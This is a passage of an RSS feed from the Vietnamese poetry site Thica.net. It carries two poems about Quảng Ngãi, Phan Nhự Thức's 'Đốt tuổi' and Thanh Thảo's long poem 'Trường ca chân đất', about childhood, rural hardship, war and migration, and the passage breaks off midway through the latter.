<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thica.netThơ có chủ đề &quot;Quảng Ngãi&quot; - Thica.net</title>
	<atom:link href="https://www.thica.net/the/quang-ngai/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thica.net/the/quang-ngai/</link>
	<description>Mạng thi ca Việt Nam</description>
	<lastBuildDate>Fri, 13 Mar 2026 06:12:14 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.6.5</generator>
<site xmlns="com-wordpress:feed-additions:1">3122721</site>	<item>
		<title>Đốt tuổi</title>
		<link>https://www.thica.net/2015/10/13/dot-tuoi/</link>
		<comments>https://www.thica.net/2015/10/13/dot-tuoi/#respond</comments>
		<pubDate>Tue, 13 Oct 2015 01:16:34 +0000</pubDate>
		<dc:creator><![CDATA[Phan Nhự Thức]]></dc:creator>
				<category><![CDATA[Phan Nhự Thức]]></category>
		<category><![CDATA[Quảng Ngãi]]></category>
		<category><![CDATA[Quê hương]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=15088</guid>
		<description><![CDATA[<p>[...]</p>
<p>Tôi khôn lớn từ ruộng đồng Quảng Ngãi<br />
Lấy đau thương làm sữa mớm thơ mình<br />
Thành phố ấy với những gì còn lại<br />
Tôi ấp vào lòng đôi mắt lệ lung linh</p>
<p>The post <a href="https://www.thica.net/2015/10/13/dot-tuoi/">Đốt tuổi</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Nắng Quảng Ngãi tôi về không mũ đội<br />Trời tháng năm gió núi hạ Lào bay<br />Thành phố ấy buồn như người xế tuổi<br />Cuộc sống quanh năm khổ luống đất cày</p><p>Từng kỉ niệm bây giờ lên tiếng gọi<br />Giọng thổi buồn đêm sông Vệ không trăng<br />Cát Trà Khúc theo sầu bồi lấy tuổi<br />Tôi cúi đầu đời sống lạnh như băng</p><p>Đất mẹ đó đã đau bầm kháng chiến<br />Giờ thân già bão lụt lại hành hung<br />Trong đời sống bấp bênh ngày tháng lụn<br />Tôi nhìn em đau xót nói không cùng</p><p>Đêm Nghĩa Hưng trời mịt mờ lửa đạn<br />Chiều Ba Gia xác chết chật đường làng<br />Ôi kiếp sống bơi quanh bờ hữu hạn<br />Tìm tương lai trong hiện tại kinh hoàng</p><p>Quen thanh bạch từ khi còn tấm bé<br />Biết gì đâu lừa đảo bán buôn lường<br />Với tuổi đó chưa đáp đền cha mẹ<br />Nói làm chi đến món nợ quê hương</p><p>Lũ em nhỏ mỗi lần không học phí<br />Trường đuổi về nằm khóc đợi trông anh<br />(Tôi bỏ học lang thang cùng phố thị<br />Thả đời trôi nên năm tháng lênh đênh)</p><p>Tôi đánh mất tình yêu từ dạo đó<br />Và lớn khôn từ nỗi xót xa này<br />Bán chữ nghĩa như rau khoai ngoài chợ<br />Vẫn đói nghèo bạn hữu mãi cho vay</p><p>Tôi khôn lớn từ ruộng đồng Quảng Ngãi<br />Lấy đau thương làm sữa mớm thơ mình<br />Thành phố ấy với những gì còn lại<br />Tôi ấp vào lòng đôi mắt lệ lung linh</p><p><em>1971</em></p><p>The post <a href="https://www.thica.net/2015/10/13/dot-tuoi/">Đốt tuổi</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2015/10/13/dot-tuoi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">15088</post-id>	</item>
		<item>
		<title>Trường ca chân đất</title>
		<link>https://www.thica.net/2014/04/04/truong-ca-chan-dat/</link>
		<comments>https://www.thica.net/2014/04/04/truong-ca-chan-dat/#respond</comments>
		<pubDate>Fri, 04 Apr 2014 01:51:08 +0000</pubDate>
		<dc:creator><![CDATA[Thanh Thảo]]></dc:creator>
				<category><![CDATA[Thanh Thảo]]></category>
		<category><![CDATA[Con người]]></category>
		<category><![CDATA[Đất nước]]></category>
		<category><![CDATA[Quảng Ngãi]]></category>
		<category><![CDATA[Quê hương]]></category>
		<category><![CDATA[Trường ca]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=12161</guid>
		<description><![CDATA[<p>[...]</p>
<p>vài cái xoong móp méo<br />
áo rách toạc<br />
mấy trăm năm một điệu hành khốn khổ<br />
phương nam cuốc bộ<br />
              phương nam xe đò<br />
phương nam đất hứa<br />
            phương nam cùng đồ<br />
mặt căng bình thản</p>
<p>những dòng sông mất tích<br />
những đám mây trượt ngã<br />
những hàng cây tắt nến trong đêm<br />
tôi đi về nhà mình<br />
thèm một ngọn lửa màu rơm<br />
một ổ chó ấm hơi chờ đợi<br />
và tôi gặp</p>
<p>một chàng trai sáu trăm năm trước<br />
một cô gái sáu trăm năm trước<br />
vật vã trên bãi sông Trà<br />
gió mơn man da thịt<br />
mùi bắp non mùi rong rêu mùi bùn mùi nước sông ngai ngái<br />
đằm đằm trai gái hoang sơ<br />
những cú xoay mình<br />
những tiếng rên bất chợt<br />
tôi nghe từ sáu trăm năm trước<br />
một giai điệu quen<br />
một bài hát không lời<br />
sáu trăm năm hay sáu nghìn năm<br />
mùi ân ái trong đêm vẫn thế</p>
<p>[...]</p>
<p>buông câu giữa muôn trùng đói rách<br />
mong giật được một ngày sáng tươi<br />
quê hương bỏ thì thương vương thì tội<br />
em thèm làm việc lắm anh ơi!</p>
<p>trong đêm xe nảy xóc<br />
mắt lặng nhìn về sau<br />
đầu dúi lên phía trước<br />
mười ngón tay khát khao</p>
<p>phương nam hề, đơn độc!<br />
phương nam hề, xoáy lốc!</p>
<p>mặt căng bình thản</p>
<p>mỳ gõ thâu đêm Sài Gòn hoa lệ<br />
trứng cút thâu đêm Sài Gòn mưa xé<br />
bánh xèo thâu đêm liu riu ngọn lửa<br />
xích lô thâu đêm từng vòng cô đơn</p>
<p>đất quê tôi hai lần thất lạc<br />
người quê tôi hai lần lưu dân</p>
<p>vì sao muốn khóc?</p>
<p>có một hạt cỏ may cư trú lênh đênh<br />
ngày ấy xanh lá trúc<br />
có một chiếc xe đò đi về mông mênh<br />
đỏ đen phận người câu mực</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2014/04/04/truong-ca-chan-dat/">Trường ca chân đất</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p><em>Kính dâng quê hương Quảng Ngãi của tôi<br />Kính dâng thầy má của con</em></p><p><strong>Chân tre</strong></p><p>bước ngang dòng sông<br />pháo đài xanh<br />la đà rủ chim làm tổ<br />đêm nghiến răng ngày lam lũ<br />thở gai khóc lá than cành<br />viết lên cao xanh<br />ngọn bút trúc tâm ngơ ngác<br />không biết viết thì vót<br />nghêu ngao bình cũ hũ sành<br />thài lài rau mác nấu canh<br />bắt tép kho cà nuôi anh khôn lớn<br />thương mẹ kính cha<br />khổ nghèo tật bệnh<br />hóa trăm vị thuốc cứu người</p><p>&#8211; này bạn tre ngâm ơi<br />sao mắt rạng ngời<br />mùi hơi gắt</p><p>&#8211; thì Việt vương cũng nằm gai nếm cứt<br />như thân ta ủ kín trong bùn</p><p>&#8211; này chìa vôi nọ bách thanh<br />sao cứ nghe xạc xào là hót</p><p>&#8211; thì bác tre mới mặt trời nứt mắt<br />đã tỏa bóng về sau</p><p>&#8211; không thể sống mà đau<br />không thể chết mất gốc</p><p>gió nồm nam thay quạt<br />ngồi bụi tre đôi phút mát lòng<br />quăng quật cả nghìn năm<br />chịu trăm thứ đè đầu cưỡi cổ<br />chờ trăng lên hát giọng thổ<br />lý con gì vắt nửa khố dây</p><p>như bác Năm Trì đây</p><p>lên bảy bác cọc còi theo cha ra đồng đập đất cục<br />thoang thoảng mùi phân bò<br />mùi hương ấy trốn sâu trong tiềm thức<br />mấy mươi năm sau bật nút<br />thành thơ</p><p>bác Năm Trì lơ tơ mơ<br />bác Năm Trì dân Quảng Ngãi</p><p>nhớ bác trán vồng như luống khoai<br />tay chai bánh tráng sượng<br />mắt băm băm lục tìm tám hướng<br />cuốc vung lên moi từng củ cui<br />mặt đanh rắn đất cục mùa phơi ải</p><p>bác Năm Trì dân Quảng Ngãi</p><p>ghét bác ghê cái tính hay nói tục<br />chửi bậy<br />chẳng nhằm ai<br />như trẻ con ném đất cục<br />vô ý trúng<br />có khi đền thấy mẹ<br />có khi<br />phải kiểm điểm</p><p>dù đất cục quê mình<br />chỉ u đầu chứ không<br />sưng</p><p>bác Năm Trì tưng tưng tưng<br />bác Năm Trì dân Quảng Ngãi</p><p>mùa tiếp mùa bác kéo nhá buông câu<br />xơi tái<br />dăm ba thằng se sẻ<br />có lúc buồn leo tít ngọn cau<br />hát giọng thổ<br />những bài ca quá lửa<br />như cá bống kho tiêu<br />khen khét mùi niêu đất</p><p>bác chúa ghét những bống bống bang bang<br />ăn cám trả vàng</p><p>bác Năm Trì tàng tàng tàng<br />bác Năm Trì dân Quảng Ngãi</p><p>đêm láng lênh bác ngồi gãi háng<br />trăng hạ tuần<br />nhớ lung mung<br />hình như tổ tiên mình có cái chén mẻ<br />gửi đâu đó bên dưới đế tháp Chàm<br />những ngọn tháp chỉ còn trong ký ức</p><p>hình như tổ tiên mình trồng một bụi tre<br />trồng một lũy tre<br />trồng một rừng tre<br />bên dưới thành Châu Sa<br />bên dưới Trường Lũy<br />đâu đó<br />bên dưới những niềm hy vọng cũ</p><p>người ta lên voi xuống chó<br />lên ngai xuống bãi thài lài<br />còn bác<br />năm này qua năm khác<br />nhào nặn đất cục</p><p>bác Năm Trì ục ục ục<br />bác Năm Trì dân Quảng Ngãi</p><p>bây giờ<br />bổ nhát cuốc đào lên<br />lại gặp những niềm hy vọng cũ<br />những giấc mơ quá lửa<br />những rễ tre hoá thạch tự bao đời</p><p>quê hương ơi làm sao tôi sống<br />thiếu Người<br />làm sao tôi thành một bóng cây<br />nho nhỏ<br />nếu trước nhà tôi, ngoài ngõ<br />không rậm rì rậm rịt một bóng tre?</p><p><strong>Chân ruộng</strong></p><p>những con đỉa bám vào ký ức<br />hút thời gian nhớ nhớ quên quên<br />tôi không biết giữa quên và nhớ<br />con đỉa dai chọn cửa nào<br />lên tám tuổi lần đầu tôi bước xuống bùn<br />bàn chân nghe gốc rạ thở than<br />đám ruộng sâu nhìn dòng sông nhỏ<br />đón đứa trẻ lần đầu tập làm nông dân<br />cũng ở đây lần đầu tôi bị đỉa hút máu<br />những con đỉa tự ngàn xưa<br />hoảng sợ<br />những con đỉa đeo bám vào giấc mơ<br />nhờ nhợ<br />(bây giờ người Tàu sang xứ mình lùng mua đỉa<br />đắt bao nhiêu cũng cân<br />chắc họ mua về thả ruộng (Tàu)<br />cho đỉa bu sướng chân (Tàu)<br />hút máu)</p><p>người Tàu thật lạ<br />họ mua những thứ dân mình vứt bỏ<br />và bán cho mình những thứ cả thế giới vứt bỏ</p><p>làm sao tôi biết<br />chân ruộng sâu có gì?</p><p>bác Năm Trì<br />bình thản xoa tí nước bọt vào chân<br />và bứt ra một con<br />đỉa<br />nói theo kiểu bây giờ<br />“hết sức kiềm chế!”</p><p>à à uôm uôm<br />ruộng sâu rồi tới ao chuôm<br />tôi lớn lên từ đó</p><p>bàn chân sục trong bùn<br />nghe ram ráp lá lúa xoa vào mặt<br />từ một cánh đồng anh đi đánh giặc<br />mùi bùn đâu chẳng giống nhau</p><p>cứ gì mùi thơm mới khiến nhớ lâu<br />khi bùn non nối đời anh với đất<br />khi bàn chân giẫm gai cào đá sắc<br />là để cho bùn ruộng nhuyễn hơn thôi</p><p>bùn ruộng là tôi<br />thuở mẹ cho con bú<br />bầu vú thoảng mùi gốc rạ<br />bùn ruộng là em<br />nay chân dài nhưng ngày bé thơ<br />đồ hàng em chơi con cua kéo cày<br />bùn ruộng là anh<br />giờ tiến sĩ mà đầu loé nhanh<br />hình con lia thia đá</p><p>hồi nhỏ anh không chơi đỉa<br />không nói dai<br />nhưng đố biết<br />ruộng sâu cho anh những gì<br />đỉa trâu cho trâu những gì<br />vu vơ cho thơ những gì</p><p>đất qua tôi những gương mặt khác nhau<br />những luống cày ngây dại<br />những năm ấy tôi nằm sát đất<br />chẳng lo nghĩ gì<br />những năm ấy cây chò rừng bốc cháy<br />lửa hồn nhiên sáng trong<br />trăng như sữa đổ tràn rẫy cũ<br />một mình tôi ngun ngút nhớ thương<br />những năm ấy tôi bơ vơ như đất<br />bị bỏ quên một góc<br />bìa rừng</p><p>tôi đứng dậy<br />chính nơi mình vấp ngã<br />đầu gối va đất cục<br />ngây dại lấm bùn<br />mùi bùn làm tôi ngây dại hơn</p><p>tôi hạnh phúc thơ mình lấm láp<br />thơ mình in gương mặt bác Năm Trì<br />nẻ chân chim mặt ruộng mùa cuốc ải<br />lầm lì<br />hái rau tập tàng<br />bắt con cua lùa con cá<br />về cho má<br />nấu canh chua</p><p>ô kìa con…</p><p>người già quê tôi<br />tuổi ngót trăm ngày tăm xị rượu<br />lưng còng song song mặt đất<br />dáng thảnh thơi như một chiếc tàu bay<br />bay chầm chậm qua mây mù u uất<br />chở thênh thênh một đời nặng nhọc<br />con cháu xa quê mấy chục năm về còn nhớ mặt<br />nhớ thằng cu bị đỉa bu cua kẹp khóc ra sao<br />người già quê tôi<br />bắt được con gì ăn con nấy<br />nấu canh đủ thứ lá<br />mọc hoang trên ruộng mình<br />mỗi khi họ làm thinh<br />mây trên trời tụ về đen kịt</p><p>nhớ linh tinh<br />đựng cho vừa vài folder máy tính<br />đếm lỉnh kỉnh<br />mỗi lá rau một bài thuốc<br />nhớ những đêm soi đuốc<br />giữa đồng<br />đếm mênh mông<br />màu ráng chiều thay đổi<br />mưa sa hay gió nổi<br />đêm nhìn sao<br />biết ngày mai sa mù</p><p>người già quê tôi<br />chỉ không biết<br />sân golf là thế nào</p><p><strong>Chân mưa</strong></p><p>những cây cau đã trổ hoa<br />yêu thương xa lạ<br />nơi không khí biến ta thành lặng lẽ<br />dẫu muốn ồn ào biết ồn ào với ai</p><p>con đường mấy mươi năm mòn dần dưới chân người chân trâu chân mưa<br />đường lầy thụt dẫn về yên tĩnh<br />ta đã có những con chuồn chuồn con cá con cua<br />ta đã có nỗi cô đơn ngọt ngào trẻ nhỏ</p><p>và tôi đã có<br />chân mưa</p><p>có những ngày mưa rất buồn<br />mưa đi luôn<br />rồi mưa trở lại<br />những dấu chân mưa bờ tre phấp phỏng<br />bong bóng phập phồng<br />tôi ngồi nhìn mẹ tôi xay lúa<br />tôi không biết và tôi không nghĩ<br />đời mình như chiếc cối xay tre<br />có ngày quay trở lại<br />tôi chỉ nhớ bát ngô rang giã lớ<br />trộn chút đường đen<br />thơm cả chiều mẹ cho tôi ăn<br />mưa<br />đầm đìa tong tả<br />mướt xanh tàu lá chuối<br />mờ mặt sông<br />bác Năm Trì thả lờ kéo nhá<br />mẹ tôi mua một bát lòng tong<br />kho nghệ<br />ngôi nhà tranh chỉ có hai mẹ con<br />mưa thì thầm ngoài cửa<br />thằn lằn chắc lưỡi<br />mưa giống bác Năm Trì khoác áo tơi<br />chân người chân mưa va vấp nhau<br />tất tả</p><p>Sáu mươi năm còn lại gì<br />vẫn tiếng chân mưa đi<br />ngoài cửa sổ</p><p>gần như một bức tường vô hình dựng lên<br />bao bọc tuổi thơ quê nhà mấy mươi năm xa cách<br />thỉnh thoảng ta về nhìn ngắm lại<br />phần đời đầu tiên con đường loang những vết bùn</p><p>suốt đời tôi cứ va phải những bức tường<br />trơ lỳ u mê<br />hung hãn<br />hoảng sợ</p><p>chỉ duy nhất một bức tường<br />dịu dàng<br />trong suốt<br />thương yêu<br />bao bọc</p><p>bức tường mưa<br />chìm tận đáy quê nhà</p><p>nơi mùi hoa cau thơm đậm hơn<br />lúa xanh hơn<br />dòng sông hiền hơn tất cả<br />hoàng hôn xuống như một người gánh rạ<br />gánh sắc vàng đang sẫm dần</p><p>trên chân ruộng con cò đứng một chân<br />cúi đầu ngẫm ngợi</p><p>những bức tường bê tông lầm lì<br />những bức tường sắt thô bạo<br />những con sư tử đá<br />những con đại bàng bằng xi-măng<br />sẽ thay hoàng-hôn-người-gánh-rạ của tôi chăng?</p><p>lò dò<br />nướng chiếc càng cua<br />thơm thơm<br />như đứa trẻ vừa chạy qua<br />lâng lâng bát nước chè nhà<br />dồng dộc làm tổ còn tha sợi vàng</p><p>thằng Bờm có cái quạt mo<br />thì tôi có cả tuổi thơ của mình</p><p>bao giờ thoang thoảng hoa cau<br />mặc lòng cua máy cáy đào tự nhiên</p><p>đời như chiếc cối xay tre<br />quay quay quay mãi<br />lại về<br />tuổi thơ</p><p>60 năm còn lại gì<br />vẫn tiếng chân mưa đi<br />ngoài cửa sổ</p><p><strong>Chân núi</strong></p><p>nhớ cái đận tôi đi rừng lấy nứa<br />lội qua suối nghe róc rách trong mình<br />một dòng mát lạnh<br />lưng chừng dốc<br />bó nứa<br />tuột<br />khiến tôi sảng hồn<br />không kịp thở<br />chỉ mong mau<br />hết dốc<br />chỉ mong thoát<br />bó nứa<br />chỉ mong chóng<br />xuống núi</p><p>khi tôi dưới chân núi<br />núi quá cao<br />khi tôi lưng chừng núi<br />núi quá dốc<br />khi tôi trên đỉnh núi<br />núi quá thường</p><p>một lối mòn<br />sương sương</p><p>ngày ấy<br />chỉ cần mau<br />tới suối<br />chỉ cần nhanh<br />tới cuối<br />chỉ cần vứt<br />bó nứa<br />chỉ cần thấy<br />nhà mình</p><p>rồi tôi âm thầm<br />leo một ngọn núi khác<br />trèo một con dốc khác<br />vác những bó nứa khác<br />mơ những giấc mơ khác<br />nhưng không mong<br />hết dốc<br />không mong thoát<br />cái gì</p><p>như người xuyên rừng nhãng bước chân đi<br />cứ chăm chăm phát cây mở lối<br />gánh nặng là chữ<br />muỗi vắt là chữ<br />mồ hôi là chữ<br />đói bụng là chữ</p><p>buồn vô ngôn</p><p>giấc mơ chữ<br />quanh quất<br />mê mải<br />trơn tuột<br />những hy vọng<br />lơ lửng</p><p>đỉnh núi là chân núi<br />và ngược lại</p><p>bây giờ ngồi một mình<br />nói một mình<br />trên vai không còn bó nứa<br />không còn gì nữa<br />không leo dốc<br />không khát nước<br />chân núi là đỉnh núi<br />không ngược lại</p><p>may ra còn<br />một giấc mơ</p><p>những giấc mơ đêm nào quanh quất<br />chợt sáng chợt tắt<br />vào những buổi trưa trời tích điện<br />người tích nhiệt<br />cây ba lá tìm một chiếc túi xách bị mất<br />không ai nói cho biết<br />phải làm gì<br />chân núi trước mặt mình<br />xa lăng lắc<br />tôi biết sự an ổn<br />dưới chân núi<br />ngôi nhà bé nhỏ<br />dưới chân núi<br />những bụi sim mua hoa tím<br />dưới chân núi<br />mẹ tôi nằm<br />dưới chân núi<br />đôi khi biết chỉ mà biết<br />nhớ là nhớ vậy thôi</p><p>tôi bắt đầu từ chân núi<br />nhưng chưa biết bao giờ kết thúc? ở đâu?</p><p><strong>Chân cò</strong></p><p>“Con cò mầy đứng một chân”<br />(có thể là ca dao)</p><p>thường thì cò đứng hai chân<br />nhưng dẫu đứng ba chân<br />kiếm cái ăn mỗi ngày mỗi khó<br />thôi thì<br />cò đứng một chân<br />tiết kiệm năng lượng<br />đầu vào ít<br />đầu ra ít</p><p>lặn lội chi thêm tội<br />thêm tội thì lặn lội<br />sinh phải đứa con tật nguyền<br />nào biết da cam hay da quýt<br />đau đến nỗi chỉ một con mắt khóc<br />nước mắt dòng dòng thành một chân cò<br />người ta nói đó là chân ảo<br />nước mắt bây giờ là ảo<br />rất ít người thấy được</p><p>cõng mẹ đi chơi<br />mẹ nhẹ đến nỗi không biết còn hay mất<br />qua chỗ lội<br />thấy từng bầy quỉ ma<br />không đánh rơi mẹ dù mẹ rất nhẹ<br />không đánh mất mình dù mình chẳng còn gì để mất</p><p>à ơi<br />gặp con cò bên thác Bản Giốc<br />đứng một chân bán hàng Tàu<br />ngước nhìn dãy núi đá trước mặt<br />đỉnh núi giờ đã mất<br />cột mốc dời xuống tận chân núi<br />dãy núi giờ đã ảo<br />như nước mắt</p><p>chỉ còn hàng Tàu bò<br />nhơm nhếch<br />chỉ còn một chân cò<br />rũ riệt</p><p>bao giờ cò đứng hai chân<br />bay thẳng lên đỉnh núi mình<br />chớp trắng?<br />bao giờ cò tự do lả la khắp phần đất phần núi mình<br />giờ mất trắng?</p><p>bây giờ cò đứng mười chân<br />ruộng mình cứ mất<br />đất mình chẳng còn<br />đành một chân run run cánh đồng thoi thóp<br />co thắt từng ngày như miếng da lừa</p><p>những ngày mưa<br />thấp thoáng bóng cò ngoài ruộng<br />bụng lép<br />thóc lép<br />nỉ non cũng bằng thừa</p><p>thôi thì đứng thẳng dưới mưa<br />như một bông lúa vổng<br />thôi thì trắng muốt toàn thân<br />như ước vọng</p><p>mẹ cha để lại cho con<br />chỉ một màu trắng ấy<br />chân cò nâng lên trắng muốt lời nguyền<br />nước có đục lấy thân mình mà rửa</p><p><strong>Chân tháp</strong></p><p>vài cái xoong móp méo<br />áo rách toạc<br />mấy trăm năm một điệu hành khốn khổ<br />phương nam cuốc bộ<br />              phương nam xe đò<br />phương nam đất hứa<br />            phương nam cùng đồ<br />mặt căng bình thản</p><p>những dòng sông mất tích<br />những đám mây trượt ngã<br />những hàng cây tắt nến trong đêm<br />tôi đi về nhà mình<br />thèm một ngọn lửa màu rơm<br />một ổ chó ấm hơi chờ đợi<br />và tôi gặp</p><p>một chàng trai sáu trăm năm trước<br />một cô gái sáu trăm năm trước<br />vật vã trên bãi sông Trà<br />gió mơn man da thịt<br />mùi bắp non mùi rong rêu mùi bùn mùi nước sông ngai ngái<br />đằm đằm trai gái hoang sơ<br />những cú xoay mình<br />những tiếng rên bất chợt<br />tôi nghe từ sáu trăm năm trước<br />một giai điệu quen<br />một bài hát không lời<br />sáu trăm năm hay sáu nghìn năm<br />mùi ân ái trong đêm vẫn thế<br />cái mùi quen quen như thể<br />nó làm nên<br />Quảng Ngãi</p><p>tôi kính dâng lên tổ tiên mình<br />chiếc bát mẻ nằm lặng bên chân Tháp<br />cái bát người con trai Việt<br />lăn lóc tìm cặp mông người con gái Chàm<br />như tìm nơi trú ngụ<br />lăn lóc tìm mênh mang<br />vó ngựa<br />lăn lóc tìm ấm êm<br />bếp lửa<br />lăn lóc tìm đức tin<br />chân Tháp hình cặp mông cô gái</p><p>phương nam hề, mệt lả!<br />phương nam hề, tái tê!</p><p>trong xách: ba chai mắm<br />trong túi: sót hai đồng<br />trong tay: nghề câu mực<br />trong đầu: hy vọng sắt</p><p>phương nam hề, cơ nghiệp!<br />phương nam hề, oan nghiệt!</p><p>mặt căng bình thản</p><p>tìm thì gặp<br />bãi sông Trà<br />lều lợp lá cào don xúc tép<br />vợ vợ chồng chồng<br />bống bống bang bang<br />cơm bạc cơm vàng<br />nước nước non non<br />cắm sào ở đâu quê hương ở đó<br />xin ba lạy cúi về làng xóm cũ<br />ngẩng đầu lên thấy Thạch Bích tà dương<br />thấy đất Cù Trâu thấy bờ xe nước<br />những ống trúm nhốt giùm ta ký ức<br />những con đò lơ lửng phía vầng mây<br />ăn tô don mùi nước sông đọng lại</p><p>dội từ thăm thẳm hang xưa ấy<br />một tiếng &#8220;ngà ơ&#8221; gọi ta về<br />ta như con dế thèm đám cỏ<br />gặm hết thời gian bỗng tái tê</p><p>sương treo anh ánh mờ nỗi nhớ<br />bầy trẻ hò reo phủ Cù Trâu<br />có con dế dũi đào cun cút<br />tìm chút tuổi thơ đến bạc đầu</p><p>nơi ấy vẫy vùng bao chú Cuội<br />đất sét nặn lên cả thánh thần<br />bụng rỗng tay không mà bắt giặc<br />nước lã vã nên hồ rượu tăm</p><p>Cao Chu thần ơi, sao Người chọn sông Trà<br />cho kiệt tác “Trà giang thu nguyệt”?<br />phải vì Người hoá thân lưu lạc<br />khói sóng hai trăm năm<br />hết Bùi Nhị Minh Trọng lái thuyền lại tới Bùi Huệ chở Người tuần du<br />trên xe chó kéo?<br />hết miên man sông Trà lại lòng vòng đảo Bé<br />mỗi dốc cao xe chó kéo như lùi<br />“khách bộ hành nước mắt tuôn rơi” <sup><a href="https://www.thica.net/2014/04/04/truong-ca-chan-dat/#footnote_0_12161" id="identifier_0_12161" class="footnote-link footnote-identifier-link" title="c&acirc;u thơ Cao B&aacute; Qu&aacute;t trong b&agrave;i &ldquo; Sa h&agrave;nh đoản ca&rdquo;">1</a></sup></p><p>vì sao quê hương tôi<br />lại khiến người dưng rơi nước mắt?</p><p>tôi hỏi bác Năm Trì, bác rầu rầu nét mặt:<br />“có lẽ quê mình buồn quá con ơi<br />nhưng khi quá vui người ta cũng khóc”</p><p>dường như Quảng Ngãi tôi thường quá<br />một cái gì</p><p>buông câu giữa muôn trùng đói rách<br />mong giật được một ngày sáng tươi<br />quê hương bỏ thì thương vương thì tội<br />em thèm làm việc lắm anh ơi!</p><p>trong đêm xe nảy xóc<br />mắt lặng nhìn về sau<br />đầu dúi lên phía trước<br />mười ngón tay khát khao</p><p>phương nam hề, đơn độc!<br />phương nam hề, xoáy lốc!</p><p>mặt căng bình thản</p><p>mỳ gõ thâu đêm Sài Gòn hoa lệ<br />trứng cút thâu đêm Sài Gòn mưa xé<br />bánh xèo thâu đêm liu riu ngọn lửa<br />xích lô thâu đêm từng vòng cô đơn</p><p>đất quê tôi hai lần thất lạc<br />người quê tôi hai lần lưu dân</p><p>vì sao muốn khóc?</p><p>có một hạt cỏ may cư trú lênh đênh<br />ngày ấy xanh lá trúc<br />có một chiếc xe đò đi về mông mênh<br />đỏ đen phận người câu mực<br />phương nam<br />phương nam<br />dòng chảy mấy trăm năm<br />mặt căng bình thản</p><p><strong>Chân mây</strong></p><p>“buồn trông chân mây xa vời”<br />(lời một bài hát)</p><p>chiều chiều lại nhớ chiều chiều<br />ra ngõ mà trông<br />xắt bí nấu canh<br />chiều chiều én liệng truông mây<br />thở vắn than dài<br />nhớ người áo vải thương ai<br />khăn điều vắt vai<br />nhớ kẻ qua truông nhớ đầy quang gánh<br />nhớ sau đỉnh núi vầng dương mỏi mòn<br />nhớ mặt trăng tròn mọc cuối biển Đông</p><p>buồn trông chân mây xa vời<br />buồn trông chân mây không người<br />buồn trông không tôi nơi chân trời<br />buồn trông giấc mơ buồn trông ký ức<br />những đường biên ẩn dật<br />những thèm khát vô hình</p><p>có những đêm<br />chân mây bước dài bước ngắn<br />chân trời lẳng lặng<br />cứ như phía sau ai đó đang nhìn<br />một bức màn một cái tên<br />gọi những con chuồn chuồn bay thấp</p><p>tôi lớn lên còi cọc<br />xác xơ như cỏ sau trận bóng<br />đứng tủi thân một góc khán đài</p><p>bao giờ cỏ mọc sau mưa?</p><p>buồn trông chân mây xa vời<br />buồn trông thơ bay không lời<br />buồn trông đổi thay<br />buồn trông không thay đổi<br />những rau ranh ốc rạ<br />chim cho ớt cay cây cho men lá<br />biển cho cá núi cho đá<br />nỗi niềm</p><p>núp sau vườn nhà một gã săn chim<br />rình chú chích bông rình em se sẻ<br />rình lão bà chim “bớ thằng chăn vịt”<br />từng phát đạn lặng lẽ</p><p>chết chóc và sụp đổ</p><p>buồn trông chân mây xa vời<br />buồn trông ai như chim trời<br />bay không thoát tầm ngắm<br />bay không về tới biển</p><p>bớ thằng chăn vịt!<br />gọi tôi ư<br />chăn vịt chạy đồng<br />ngó mênh mông<br />chiều chiều trơ gốc rạ<br />gió như trẻ thơ nghịch tóc mình<br />nhớ như in từng con cua cái ốc<br />thài lài rau sam rau mác<br />mẹ ơi xắt bí sau nhà<br />khi con cúi đầu thì mẹ đã đi xa<br />một tiếng chim chiều sâu hút</p><p>buồn trông mẹ ta khuất bóng<br />buồn trông hoàng hôn tím sẫm<br />từng cánh mây giong buồm chầm chậm<br />về đâu</p><p>góc vườn cây khế trổ hoa<br />người đi đâu mãi biết là đi đâu<br />con ra ngõ trước con vào vườn sau<br />ngó cây vú sữa lâu lâu mẹ về</p><p>buồn trông chân mây xa vời<br />sang thu ngồi đan nắng hè<br />lùm tre ngủ trưa ve vừa ngơi tiếng<br />cái xa hiển hiện cái gần tan biến<br />buồn trông mình nắm tay mình</p><p>xin cho ai dù chỉ một lần<br />ngó xa xăm chân mây mờ mịt<br />không thấy gì mà như thấy hết<br />phía sau chân mây</p><p>buồn trông<br />buồn trông</p><p><strong>Chân sóng</strong></p><p>“Cánh chim rơi rớt tả tơi<br />Đại dương rộng lớn là nơi trú nhờ”<br />(thơ của một người đánh cá xa bờ)</p><p>lên tám tuổi lần đầu nhìn thấy biển<br />lần đầu đi biển<br />ói mật xanh mật vàng<br />biển mênh mang<br />tôi nhỏ bé<br />những thủy thủ tàu Ba Lan dồi tôi như quả bóng nhẹ<br />họ cười mà tôi khóc</p><p>chỉ thế thôi</p><p>nhiều năm sau tôi không nhìn thấy biển<br />dù có “vượt trên đỉnh cao Trường Sơn”<br />cũng không nhìn thấy biển<br />suốt thời ấy biển với chúng tôi là tận cùng<br />cuộc chiến<br />một là được trở về với biển<br />hai là không bao giờ</p><p>chỉ thế thôi</p><p>con nào biết mẹ bạc đầu vì biển<br />mỗi làn sóng như một dải khăn tang<br />con nào biết mẹ đau vì biển<br />đau vì thiếu biển<br />đau vì thừa biển<br />đau vì biển thiếu con mình<br />đau vì biển thừa hy sinh</p><p>những mộ gió những hình nhân phơ phất<br />những hải trình dài suốt mấy trăm năm<br />những Bãi Cát Vàng san hô 